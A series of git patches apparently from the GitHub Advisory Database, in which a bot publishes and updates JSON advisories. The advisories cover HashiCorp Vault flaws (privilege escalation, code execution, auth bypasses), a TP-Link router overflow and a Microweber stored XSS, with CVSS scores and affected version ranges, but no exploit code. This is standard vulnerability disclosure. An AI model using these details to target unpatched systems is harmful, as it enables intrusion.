- "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L"
- }
- ],
- "affected": [],
- "references": [
- {
- "type": "ADVISORY",
- "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-51504"
- },
- {
- "type": "WEB",
- "url": "https://github.com/progprnv/CVE-Reports"
- },
- {
- "type": "WEB",
- "url": "https://github.com/progprnv/CVE-Reports/blob/main/CVE-2025-51504"
- },
- {
- "type": "WEB",
- "url": "https://github.com/progprnv/CVE-Reports/blob/main/MICROWEBER%20%5BLive%20Panel%5D%20Stored%20XSS%20in%20profile%20path.md"
- }
- ],
- "database_specific": {
- "cwe_ids": [
- "CWE-79"
- ],
- "severity": "HIGH",
- "github_reviewed": false,
- "github_reviewed_at": null,
- "nvd_published_at": "2025-08-01T17:15:52Z"
- }
-}
\ No newline at end of file
From 6c643418d1e436c22f4ee266a7f013bb47604c5b Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Fri, 1 Aug 2025 21:10:20 +0000
Subject: [PATCH 306/323] Publish Advisories
GHSA-6c5r-4wfc-3mcx
GHSA-6h4p-m86h-hhgh
GHSA-mr4h-qf9j-f665
GHSA-mwgr-84fv-3jh9
GHSA-qgj7-fmq2-6cc4
GHSA-qv3p-fmv3-9hww
GHSA-v6r4-35f9-9rpw
---
.../GHSA-6c5r-4wfc-3mcx.json | 33 ++++++++++++++++---
.../GHSA-6h4p-m86h-hhgh.json | 33 ++++++++++++++++---
.../GHSA-mr4h-qf9j-f665.json | 33 ++++++++++++++++---
.../GHSA-mwgr-84fv-3jh9.json | 33 ++++++++++++++++---
.../GHSA-qgj7-fmq2-6cc4.json | 33 ++++++++++++++++---
.../GHSA-qv3p-fmv3-9hww.json | 33 ++++++++++++++++---
.../GHSA-v6r4-35f9-9rpw.json | 33 ++++++++++++++++---
7 files changed, 203 insertions(+), 28 deletions(-)
rename advisories/{unreviewed => github-reviewed}/2025/08/GHSA-6c5r-4wfc-3mcx/GHSA-6c5r-4wfc-3mcx.json (65%)
rename advisories/{unreviewed => github-reviewed}/2025/08/GHSA-6h4p-m86h-hhgh/GHSA-6h4p-m86h-hhgh.json (60%)
rename advisories/{unreviewed => github-reviewed}/2025/08/GHSA-mr4h-qf9j-f665/GHSA-mr4h-qf9j-f665.json (60%)
rename advisories/{unreviewed => github-reviewed}/2025/08/GHSA-mwgr-84fv-3jh9/GHSA-mwgr-84fv-3jh9.json (60%)
rename advisories/{unreviewed => github-reviewed}/2025/08/GHSA-qgj7-fmq2-6cc4/GHSA-qgj7-fmq2-6cc4.json (58%)
rename advisories/{unreviewed => github-reviewed}/2025/08/GHSA-qv3p-fmv3-9hww/GHSA-qv3p-fmv3-9hww.json (58%)
rename advisories/{unreviewed => github-reviewed}/2025/08/GHSA-v6r4-35f9-9rpw/GHSA-v6r4-35f9-9rpw.json (58%)
diff --git a/advisories/unreviewed/2025/08/GHSA-6c5r-4wfc-3mcx/GHSA-6c5r-4wfc-3mcx.json b/advisories/github-reviewed/2025/08/GHSA-6c5r-4wfc-3mcx/GHSA-6c5r-4wfc-3mcx.json
similarity index 65%
rename from advisories/unreviewed/2025/08/GHSA-6c5r-4wfc-3mcx/GHSA-6c5r-4wfc-3mcx.json
rename to advisories/github-reviewed/2025/08/GHSA-6c5r-4wfc-3mcx/GHSA-6c5r-4wfc-3mcx.json
index dec6b605c68a5..8a75d1b7cb779 100644
--- a/advisories/unreviewed/2025/08/GHSA-6c5r-4wfc-3mcx/GHSA-6c5r-4wfc-3mcx.json
+++ b/advisories/github-reviewed/2025/08/GHSA-6c5r-4wfc-3mcx/GHSA-6c5r-4wfc-3mcx.json
@@ -1,11 +1,12 @@
{
"schema_version": "1.4.0",
"id": "GHSA-6c5r-4wfc-3mcx",
- "modified": "2025-08-01T18:31:19Z",
+ "modified": "2025-08-01T21:09:19Z",
"published": "2025-08-01T18:31:19Z",
"aliases": [
"CVE-2025-6037"
],
+ "summary": "Hashicorp Vault has Incorrect Validation for Non-CA Certificates",
"details": "Vault and Vault Enterprise (“Vault”) TLS certificate auth method did not correctly validate client certificates when configured with a non-CA certificate as [+trusted certificate+|https://developer.hashicorp.com/vault/api-docs/auth/cert#certificate]. In this configuration, an attacker may be able to craft a malicious certificate that could be used to impersonate another user. Fixed in Vault Community Edition 1.20.1 and Vault Enterprise 1.20.1, 1.19.7, 1.18.12, and 1.16.23.",
"severity": [
{
@@ -13,7 +14,27 @@
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H"
}
],
- "affected": [],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Go",
+ "name": "github.com/hashicorp/vault"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "1.20.1"
+ }
+ ]
+ }
+ ]
+ }
+ ],
"references": [
{
"type": "ADVISORY",
@@ -22,6 +43,10 @@
{
"type": "WEB",
"url": "https://discuss.hashicorp.com/t/hcsec-2025-18-vault-certificate-auth-method-did-not-validate-common-name-for-non-ca-certificates/76037"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/hashicorp/vault"
}
],
"database_specific": {
@@ -29,8 +54,8 @@
"CWE-295"
],
"severity": "MODERATE",
- "github_reviewed": false,
- "github_reviewed_at": null,
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-08-01T21:09:19Z",
"nvd_published_at": "2025-08-01T18:15:57Z"
}
}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-6h4p-m86h-hhgh/GHSA-6h4p-m86h-hhgh.json b/advisories/github-reviewed/2025/08/GHSA-6h4p-m86h-hhgh/GHSA-6h4p-m86h-hhgh.json
similarity index 60%
rename from advisories/unreviewed/2025/08/GHSA-6h4p-m86h-hhgh/GHSA-6h4p-m86h-hhgh.json
rename to advisories/github-reviewed/2025/08/GHSA-6h4p-m86h-hhgh/GHSA-6h4p-m86h-hhgh.json
index 8cb8685f380d8..6e4d69f5afd9c 100644
--- a/advisories/unreviewed/2025/08/GHSA-6h4p-m86h-hhgh/GHSA-6h4p-m86h-hhgh.json
+++ b/advisories/github-reviewed/2025/08/GHSA-6h4p-m86h-hhgh/GHSA-6h4p-m86h-hhgh.json
@@ -1,11 +1,12 @@
{
"schema_version": "1.4.0",
"id": "GHSA-6h4p-m86h-hhgh",
- "modified": "2025-08-01T18:31:19Z",
+ "modified": "2025-08-01T21:08:01Z",
"published": "2025-08-01T18:31:19Z",
"aliases": [
"CVE-2025-5999"
],
+ "summary": "Hashicorp Vault has Privilege Escalation Vulnerability",
"details": "A privileged Vault operator with write permissions to the root namespace’s identity endpoint could escalate their own or another user’s token privileges to Vault’s root policy. Fixed in Vault Community Edition 1.20.0 and Vault Enterprise 1.20.0, 1.19.6, 1.18.11 and 1.16.22.",
"severity": [
{
@@ -13,7 +14,27 @@
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
}
],
- "affected": [],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Go",
+ "name": "github.com/hashicorp/vault"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0.10.4"
+ },
+ {
+ "fixed": "1.20.0"
+ }
+ ]
+ }
+ ]
+ }
+ ],
"references": [
{
"type": "ADVISORY",
@@ -22,6 +43,10 @@
{
"type": "WEB",
"url": "https://discuss.hashicorp.com/t/hcsec-2025-13-vault-root-namespace-operator-may-elevate-token-privileges/76032"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/hashicorp/vault"
}
],
"database_specific": {
@@ -29,8 +54,8 @@
"CWE-266"
],
"severity": "HIGH",
- "github_reviewed": false,
- "github_reviewed_at": null,
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-08-01T21:08:00Z",
"nvd_published_at": "2025-08-01T18:15:56Z"
}
}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-mr4h-qf9j-f665/GHSA-mr4h-qf9j-f665.json b/advisories/github-reviewed/2025/08/GHSA-mr4h-qf9j-f665/GHSA-mr4h-qf9j-f665.json
similarity index 60%
rename from advisories/unreviewed/2025/08/GHSA-mr4h-qf9j-f665/GHSA-mr4h-qf9j-f665.json
rename to advisories/github-reviewed/2025/08/GHSA-mr4h-qf9j-f665/GHSA-mr4h-qf9j-f665.json
index a972b0227cabe..e9bc831736785 100644
--- a/advisories/unreviewed/2025/08/GHSA-mr4h-qf9j-f665/GHSA-mr4h-qf9j-f665.json
+++ b/advisories/github-reviewed/2025/08/GHSA-mr4h-qf9j-f665/GHSA-mr4h-qf9j-f665.json
@@ -1,11 +1,12 @@
{
"schema_version": "1.4.0",
"id": "GHSA-mr4h-qf9j-f665",
- "modified": "2025-08-01T18:31:19Z",
+ "modified": "2025-08-01T21:07:41Z",
"published": "2025-08-01T18:31:19Z",
"aliases": [
"CVE-2025-6000"
],
+ "summary": "Hashicorp Vault has Code Execution Vulnerability via Plugin Configuration",
"details": "A privileged Vault operator within the root namespace with write permission to {{sys/audit}} may obtain code execution on the underlying host if a plugin directory is set in Vault’s configuration. Fixed in Vault Community Edition 1.20.1 and Vault Enterprise 1.20.1, 1.19.7, 1.18.12, and 1.16.23.",
"severity": [
{
@@ -13,7 +14,27 @@
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"
}
],
- "affected": [],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Go",
+ "name": "github.com/hashicorp/vault"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0.8.0"
+ },
+ {
+ "fixed": "1.20.1"
+ }
+ ]
+ }
+ ]
+ }
+ ],
"references": [
{
"type": "ADVISORY",
@@ -22,6 +43,10 @@
{
"type": "WEB",
"url": "https://discuss.hashicorp.com/t/hcsec-2025-14-privileged-vault-operator-may-execute-code-on-the-underlying-host/76033"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/hashicorp/vault"
}
],
"database_specific": {
@@ -29,8 +54,8 @@
"CWE-94"
],
"severity": "CRITICAL",
- "github_reviewed": false,
- "github_reviewed_at": null,
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-08-01T21:07:41Z",
"nvd_published_at": "2025-08-01T18:15:56Z"
}
}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-mwgr-84fv-3jh9/GHSA-mwgr-84fv-3jh9.json b/advisories/github-reviewed/2025/08/GHSA-mwgr-84fv-3jh9/GHSA-mwgr-84fv-3jh9.json
similarity index 60%
rename from advisories/unreviewed/2025/08/GHSA-mwgr-84fv-3jh9/GHSA-mwgr-84fv-3jh9.json
rename to advisories/github-reviewed/2025/08/GHSA-mwgr-84fv-3jh9/GHSA-mwgr-84fv-3jh9.json
index dca3846f77a78..b9b885f3a232a 100644
--- a/advisories/unreviewed/2025/08/GHSA-mwgr-84fv-3jh9/GHSA-mwgr-84fv-3jh9.json
+++ b/advisories/github-reviewed/2025/08/GHSA-mwgr-84fv-3jh9/GHSA-mwgr-84fv-3jh9.json
@@ -1,11 +1,12 @@
{
"schema_version": "1.4.0",
"id": "GHSA-mwgr-84fv-3jh9",
- "modified": "2025-08-01T18:31:19Z",
+ "modified": "2025-08-01T21:08:42Z",
"published": "2025-08-01T18:31:19Z",
"aliases": [
"CVE-2025-6011"
],
+ "summary": "Hashicorp Vault has an Observable Discrepancy on Existing and Non-Existing Users",
"details": "A timing side channel in Vault and Vault Enterprise’s (“Vault”) userpass auth method allowed an attacker to distinguish between existing and non-existing users, and potentially enumerate valid usernames for Vault’s Userpass auth method. Fixed in Vault Community Edition 1.20.1 and Vault Enterprise 1.20.1, 1.19.7, 1.18.12, and 1.16.23.",
"severity": [
{
@@ -13,7 +14,27 @@
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N"
}
],
- "affected": [],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Go",
+ "name": "github.com/hashicorp/vault"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "1.20.1"
+ }
+ ]
+ }
+ ]
+ }
+ ],
"references": [
{
"type": "ADVISORY",
@@ -22,6 +43,10 @@
{
"type": "WEB",
"url": "https://discuss.hashicorp.com/t/hcsec-2025-15-timing-side-channel-in-vault-s-userpass-auth-method/76034"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/hashicorp/vault"
}
],
"database_specific": {
@@ -29,8 +54,8 @@
"CWE-203"
],
"severity": "LOW",
- "github_reviewed": false,
- "github_reviewed_at": null,
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-08-01T21:08:42Z",
"nvd_published_at": "2025-08-01T18:15:56Z"
}
}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-qgj7-fmq2-6cc4/GHSA-qgj7-fmq2-6cc4.json b/advisories/github-reviewed/2025/08/GHSA-qgj7-fmq2-6cc4/GHSA-qgj7-fmq2-6cc4.json
similarity index 58%
rename from advisories/unreviewed/2025/08/GHSA-qgj7-fmq2-6cc4/GHSA-qgj7-fmq2-6cc4.json
rename to advisories/github-reviewed/2025/08/GHSA-qgj7-fmq2-6cc4/GHSA-qgj7-fmq2-6cc4.json
index 9fd68224f40e8..eb87eac6aec3a 100644
--- a/advisories/unreviewed/2025/08/GHSA-qgj7-fmq2-6cc4/GHSA-qgj7-fmq2-6cc4.json
+++ b/advisories/github-reviewed/2025/08/GHSA-qgj7-fmq2-6cc4/GHSA-qgj7-fmq2-6cc4.json
@@ -1,11 +1,12 @@
{
"schema_version": "1.4.0",
"id": "GHSA-qgj7-fmq2-6cc4",
- "modified": "2025-08-01T18:31:19Z",
+ "modified": "2025-08-01T21:08:19Z",
"published": "2025-08-01T18:31:19Z",
"aliases": [
"CVE-2025-6004"
],
+ "summary": "Hashicorp Vault has Lockout Feature Authentication Bypass",
"details": "Vault and Vault Enterprise’s (“Vault”) user lockout feature could be bypassed for Userpass and LDAP authentication methods. Fixed in Vault Community Edition 1.20.1 and Vault Enterprise 1.20.1, 1.19.7, 1.18.12, and 1.16.23.",
"severity": [
{
@@ -13,7 +14,27 @@
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
}
],
- "affected": [],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Go",
+ "name": "github.com/hashicorp/vault"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "1.13.0"
+ },
+ {
+ "fixed": "1.20.1"
+ }
+ ]
+ }
+ ]
+ }
+ ],
"references": [
{
"type": "ADVISORY",
@@ -22,6 +43,10 @@
{
"type": "WEB",
"url": "https://discuss.hashicorp.com/t/hcsec-2025-16-vault-userpass-and-ldap-user-lockout-bypass/76035"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/hashicorp/vault"
}
],
"database_specific": {
@@ -29,8 +54,8 @@
"CWE-307"
],
"severity": "MODERATE",
- "github_reviewed": false,
- "github_reviewed_at": null,
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-08-01T21:08:19Z",
"nvd_published_at": "2025-08-01T18:15:56Z"
}
}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-qv3p-fmv3-9hww/GHSA-qv3p-fmv3-9hww.json b/advisories/github-reviewed/2025/08/GHSA-qv3p-fmv3-9hww/GHSA-qv3p-fmv3-9hww.json
similarity index 58%
rename from advisories/unreviewed/2025/08/GHSA-qv3p-fmv3-9hww/GHSA-qv3p-fmv3-9hww.json
rename to advisories/github-reviewed/2025/08/GHSA-qv3p-fmv3-9hww/GHSA-qv3p-fmv3-9hww.json
index 33e4651184b3f..73a3ea90a9928 100644
--- a/advisories/unreviewed/2025/08/GHSA-qv3p-fmv3-9hww/GHSA-qv3p-fmv3-9hww.json
+++ b/advisories/github-reviewed/2025/08/GHSA-qv3p-fmv3-9hww/GHSA-qv3p-fmv3-9hww.json
@@ -1,11 +1,12 @@
{
"schema_version": "1.4.0",
"id": "GHSA-qv3p-fmv3-9hww",
- "modified": "2025-08-01T18:31:19Z",
+ "modified": "2025-08-01T21:08:57Z",
"published": "2025-08-01T18:31:19Z",
"aliases": [
"CVE-2025-6014"
],
+ "summary": "Hashicorp Vault's TOTP Secrets Engine Susceptible to Code Reuse ",
"details": "Vault and Vault Enterprise’s (“Vault”) TOTP Secrets Engine code validation endpoint is susceptible to code reuse within its validity period. Fixed in Vault Community Edition 1.20.1 and Vault Enterprise 1.20.1, 1.19.7, 1.18.12, and 1.16.23.",
"severity": [
{
@@ -13,7 +14,27 @@
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
}
],
- "affected": [],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Go",
+ "name": "github.com/hashicorp/vault"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "1.20.1"
+ }
+ ]
+ }
+ ]
+ }
+ ],
"references": [
{
"type": "ADVISORY",
@@ -22,6 +43,10 @@
{
"type": "WEB",
"url": "https://discuss.hashicorp.com/t/hcsec-2025-17-vault-totp-secrets-engine-code-reuse/76036"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/hashicorp/vault"
}
],
"database_specific": {
@@ -29,8 +54,8 @@
"CWE-156"
],
"severity": "MODERATE",
- "github_reviewed": false,
- "github_reviewed_at": null,
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-08-01T21:08:57Z",
"nvd_published_at": "2025-08-01T18:15:56Z"
}
}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-v6r4-35f9-9rpw/GHSA-v6r4-35f9-9rpw.json b/advisories/github-reviewed/2025/08/GHSA-v6r4-35f9-9rpw/GHSA-v6r4-35f9-9rpw.json
similarity index 58%
rename from advisories/unreviewed/2025/08/GHSA-v6r4-35f9-9rpw/GHSA-v6r4-35f9-9rpw.json
rename to advisories/github-reviewed/2025/08/GHSA-v6r4-35f9-9rpw/GHSA-v6r4-35f9-9rpw.json
index f7e8ba84d6452..76e7d60ab8f80 100644
--- a/advisories/unreviewed/2025/08/GHSA-v6r4-35f9-9rpw/GHSA-v6r4-35f9-9rpw.json
+++ b/advisories/github-reviewed/2025/08/GHSA-v6r4-35f9-9rpw/GHSA-v6r4-35f9-9rpw.json
@@ -1,11 +1,12 @@
{
"schema_version": "1.4.0",
"id": "GHSA-v6r4-35f9-9rpw",
- "modified": "2025-08-01T18:31:19Z",
+ "modified": "2025-08-01T21:09:08Z",
"published": "2025-08-01T18:31:19Z",
"aliases": [
"CVE-2025-6015"
],
+ "summary": "Hashicorp Vault has Login MFA Rate Limit Bypass Vulnerability",
"details": "Vault and Vault Enterprise’s (“Vault”) login MFA rate limits could be bypassed and TOTP tokens could be reused. Fixed in Vault Community Edition 1.20.1 and Vault Enterprise 1.20.1, 1.19.7, 1.18.12, and 1.16.23.",
"severity": [
{
@@ -13,7 +14,27 @@
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"
}
],
- "affected": [],
+ "affected": [
+ {
+ "package": {
+ "ecosystem": "Go",
+ "name": "github.com/hashicorp/vault"
+ },
+ "ranges": [
+ {
+ "type": "ECOSYSTEM",
+ "events": [
+ {
+ "introduced": "1.10.0"
+ },
+ {
+ "fixed": "1.20.1"
+ }
+ ]
+ }
+ ]
+ }
+ ],
"references": [
{
"type": "ADVISORY",
@@ -22,6 +43,10 @@
{
"type": "WEB",
"url": "https://discuss.hashicorp.com/t/hcsec-2025-19-vault-login-mfa-bypass-of-rate-limiting-and-totp-token-reuse/76038"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/hashicorp/vault"
}
],
"database_specific": {
@@ -29,8 +54,8 @@
"CWE-307"
],
"severity": "MODERATE",
- "github_reviewed": false,
- "github_reviewed_at": null,
+ "github_reviewed": true,
+ "github_reviewed_at": "2025-08-01T21:09:08Z",
"nvd_published_at": "2025-08-01T18:15:57Z"
}
}
\ No newline at end of file
From 3959faecaaac752d57148a3f33555ad00615c7c9 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Fri, 1 Aug 2025 21:32:55 +0000
Subject: [PATCH 307/323] Advisory Database Sync
---
.../GHSA-4fwr-mh5q-hchh.json | 6 +-
.../GHSA-rxxw-x8j3-4f4f.json | 2 +-
.../GHSA-58ph-89f9-hmcp.json | 2 +-
.../GHSA-88hc-82jj-pmhh.json | 6 +-
.../GHSA-hx4q-7q28-475p.json | 6 +-
.../GHSA-rvj2-pqhh-hgg7.json | 6 +-
.../GHSA-v4cc-9587-m82w.json | 6 +-
.../GHSA-xw6x-7rww-v34g.json | 6 +-
.../GHSA-2cvr-c5hj-x7rm.json | 52 +++++++++++++++++
.../GHSA-5cpf-pp9h-vpgm.json | 48 ++++++++++++++++
.../GHSA-5fhc-hfwc-c254.json | 52 +++++++++++++++++
.../GHSA-6xj5-fx7c-xvcj.json | 56 +++++++++++++++++++
.../GHSA-7jqp-2p5w-9crj.json | 52 +++++++++++++++++
.../GHSA-7v67-qhqf-7xjm.json | 52 +++++++++++++++++
.../GHSA-8w5w-66j4-p452.json | 52 +++++++++++++++++
.../GHSA-97gj-fw67-mjpj.json | 48 ++++++++++++++++
.../GHSA-cvrx-jhp7-38jf.json | 15 +++--
.../GHSA-fmhj-j6r9-5m2p.json | 15 +++--
.../GHSA-gfgm-2frc-x4f5.json | 56 +++++++++++++++++++
.../GHSA-gg53-3xxr-77gw.json | 52 +++++++++++++++++
.../GHSA-gwv8-67p9-8v37.json | 48 ++++++++++++++++
.../GHSA-h72m-m9r4-r78c.json | 48 ++++++++++++++++
.../GHSA-jr9p-69mv-mf2m.json | 52 +++++++++++++++++
.../GHSA-mgp2-v3xv-x9v3.json | 48 ++++++++++++++++
.../GHSA-vv4j-q4m2-9gr7.json | 48 ++++++++++++++++
.../GHSA-w7gc-gxjh-pg78.json | 52 +++++++++++++++++
.../GHSA-xcrc-5423-m358.json | 48 ++++++++++++++++
27 files changed, 918 insertions(+), 16 deletions(-)
create mode 100644 advisories/unreviewed/2025/08/GHSA-2cvr-c5hj-x7rm/GHSA-2cvr-c5hj-x7rm.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-5cpf-pp9h-vpgm/GHSA-5cpf-pp9h-vpgm.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-5fhc-hfwc-c254/GHSA-5fhc-hfwc-c254.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-6xj5-fx7c-xvcj/GHSA-6xj5-fx7c-xvcj.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-7jqp-2p5w-9crj/GHSA-7jqp-2p5w-9crj.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-7v67-qhqf-7xjm/GHSA-7v67-qhqf-7xjm.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-8w5w-66j4-p452/GHSA-8w5w-66j4-p452.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-97gj-fw67-mjpj/GHSA-97gj-fw67-mjpj.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-gfgm-2frc-x4f5/GHSA-gfgm-2frc-x4f5.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-gg53-3xxr-77gw/GHSA-gg53-3xxr-77gw.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-gwv8-67p9-8v37/GHSA-gwv8-67p9-8v37.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-h72m-m9r4-r78c/GHSA-h72m-m9r4-r78c.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-jr9p-69mv-mf2m/GHSA-jr9p-69mv-mf2m.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-mgp2-v3xv-x9v3/GHSA-mgp2-v3xv-x9v3.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-vv4j-q4m2-9gr7/GHSA-vv4j-q4m2-9gr7.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-w7gc-gxjh-pg78/GHSA-w7gc-gxjh-pg78.json
create mode 100644 advisories/unreviewed/2025/08/GHSA-xcrc-5423-m358/GHSA-xcrc-5423-m358.json
diff --git a/advisories/github-reviewed/2025/02/GHSA-4fwr-mh5q-hchh/GHSA-4fwr-mh5q-hchh.json b/advisories/github-reviewed/2025/02/GHSA-4fwr-mh5q-hchh/GHSA-4fwr-mh5q-hchh.json
index b70e99b0d1a83..a01a1db8611df 100644
--- a/advisories/github-reviewed/2025/02/GHSA-4fwr-mh5q-hchh/GHSA-4fwr-mh5q-hchh.json
+++ b/advisories/github-reviewed/2025/02/GHSA-4fwr-mh5q-hchh/GHSA-4fwr-mh5q-hchh.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-4fwr-mh5q-hchh",
- "modified": "2025-06-30T15:30:37Z",
+ "modified": "2025-08-01T21:30:57Z",
"published": "2025-02-26T18:30:39Z",
"aliases": [
"CVE-2025-1634"
@@ -106,6 +106,10 @@
"type": "WEB",
"url": "https://github.com/quarkusio/quarkus/commit/80b8eb41678cdccb46e964dc324d048a5ef00f4b"
},
+ {
+ "type": "WEB",
+ "url": "https://access.redhat.com/errata/RHSA-2025:12511"
+ },
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:1884"
diff --git a/advisories/unreviewed/2025/05/GHSA-rxxw-x8j3-4f4f/GHSA-rxxw-x8j3-4f4f.json b/advisories/unreviewed/2025/05/GHSA-rxxw-x8j3-4f4f/GHSA-rxxw-x8j3-4f4f.json
index 49e78195ec03d..80560efb007f5 100644
--- a/advisories/unreviewed/2025/05/GHSA-rxxw-x8j3-4f4f/GHSA-rxxw-x8j3-4f4f.json
+++ b/advisories/unreviewed/2025/05/GHSA-rxxw-x8j3-4f4f/GHSA-rxxw-x8j3-4f4f.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-rxxw-x8j3-4f4f",
- "modified": "2025-05-07T18:30:49Z",
+ "modified": "2025-08-01T21:31:01Z",
"published": "2025-05-07T18:30:49Z",
"aliases": [
"CVE-2025-20201"
diff --git a/advisories/unreviewed/2025/07/GHSA-58ph-89f9-hmcp/GHSA-58ph-89f9-hmcp.json b/advisories/unreviewed/2025/07/GHSA-58ph-89f9-hmcp/GHSA-58ph-89f9-hmcp.json
index cbb1f6e8624b4..bc8473f849164 100644
--- a/advisories/unreviewed/2025/07/GHSA-58ph-89f9-hmcp/GHSA-58ph-89f9-hmcp.json
+++ b/advisories/unreviewed/2025/07/GHSA-58ph-89f9-hmcp/GHSA-58ph-89f9-hmcp.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-58ph-89f9-hmcp",
- "modified": "2025-07-07T18:32:29Z",
+ "modified": "2025-08-01T21:31:03Z",
"published": "2025-07-07T18:32:29Z",
"aliases": [
"CVE-2025-20325"
diff --git a/advisories/unreviewed/2025/07/GHSA-88hc-82jj-pmhh/GHSA-88hc-82jj-pmhh.json b/advisories/unreviewed/2025/07/GHSA-88hc-82jj-pmhh/GHSA-88hc-82jj-pmhh.json
index 4db9a2c0554f0..f11a1cb6a3859 100644
--- a/advisories/unreviewed/2025/07/GHSA-88hc-82jj-pmhh/GHSA-88hc-82jj-pmhh.json
+++ b/advisories/unreviewed/2025/07/GHSA-88hc-82jj-pmhh/GHSA-88hc-82jj-pmhh.json
@@ -1,13 +1,17 @@
{
"schema_version": "1.4.0",
"id": "GHSA-88hc-82jj-pmhh",
- "modified": "2025-07-29T18:30:36Z",
+ "modified": "2025-08-01T21:31:05Z",
"published": "2025-07-29T18:30:36Z",
"aliases": [
"CVE-2025-53715"
],
"details": "A vulnerability has been found in TP-Link TL-WR841N V11. The vulnerability exists in the /userRpm/Wan6to4TunnelCfgRpm.htm file due to missing input parameter validation, which may lead to the buffer overflow to cause a crash of the web service and result in a denial-of-service (DoS) condition. The attack may be launched remotely. This vulnerability only affects products that are no longer supported by the maintainer.",
"severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
+ },
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
diff --git a/advisories/unreviewed/2025/07/GHSA-hx4q-7q28-475p/GHSA-hx4q-7q28-475p.json b/advisories/unreviewed/2025/07/GHSA-hx4q-7q28-475p/GHSA-hx4q-7q28-475p.json
index 929e7477de0e3..711a4dcff8be5 100644
--- a/advisories/unreviewed/2025/07/GHSA-hx4q-7q28-475p/GHSA-hx4q-7q28-475p.json
+++ b/advisories/unreviewed/2025/07/GHSA-hx4q-7q28-475p/GHSA-hx4q-7q28-475p.json
@@ -1,13 +1,17 @@
{
"schema_version": "1.4.0",
"id": "GHSA-hx4q-7q28-475p",
- "modified": "2025-07-29T18:30:36Z",
+ "modified": "2025-08-01T21:31:04Z",
"published": "2025-07-29T18:30:36Z",
"aliases": [
"CVE-2025-53711"
],
